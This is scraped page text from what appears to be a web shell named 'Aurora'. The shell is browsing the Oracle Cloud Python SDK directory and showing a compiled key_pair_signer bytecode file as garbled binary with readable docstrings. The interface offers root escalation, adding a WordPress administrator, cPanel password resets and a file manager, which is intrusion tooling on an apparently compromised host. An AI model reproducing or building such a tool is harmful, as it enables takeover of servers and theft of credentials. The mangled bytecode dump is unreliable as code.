Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
auth
signers
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: key_pair_signer.cpython-39.pyc
a ���f� � @ s0 d dl Zd dlmZmZ G dd� dejj�ZdS )� N)�!InvalidResourcePrincipalArguments�InvalidPrivateKeyc @ s( e Zd ZdZdg d�g d�fdd�ZdS )� KeyPairSigneraf A requests auth instance that is intended to be used when signing requests for RPv2.1 using a key pair - resource_id: The resource id of the Resource being used - private_key_content: The private key is provided directly in PEM format. - pass_phrase: The pass_phrase to be used for the private key (optional) N)�datez(request-target)�host)zcontent-lengthzcontent-typezx-content-sha256c C s� |dks|dkr2|r2|r2d|� d|� d|� �| _ n |dkrJ|rJd| | _ ntd��|rhtj�||�| _ntd��|| _|| _| � | j | j| j| j� d S ) Nz2.1.1z2.1.2z resource/v�/z2.1zresource/v2.1/zFResource Id or Tenancy Id or OCI_RESOURCE_PRINCIPAL_VERSION is missingzPrivate Key is missing) Zapi_keyr �oci�signerZload_private_keyZprivate_keyr �generic_headers�body_headersZcreate_signers)�selfZ rp_versionZresource_idZ tenancy_idZprivate_key_contentZpass_phraser r � r �D/usr/lib/python3.9/site-packages/oci/auth/signers/key_pair_signer.py�__init__ s zKeyPairSigner.__init__)�__name__� __module__�__qualname__�__doc__r r r r r r s �r )Z oci.signerr Zoci.exceptionsr r r ZAbstractBaseSignerr r r r r �<module> s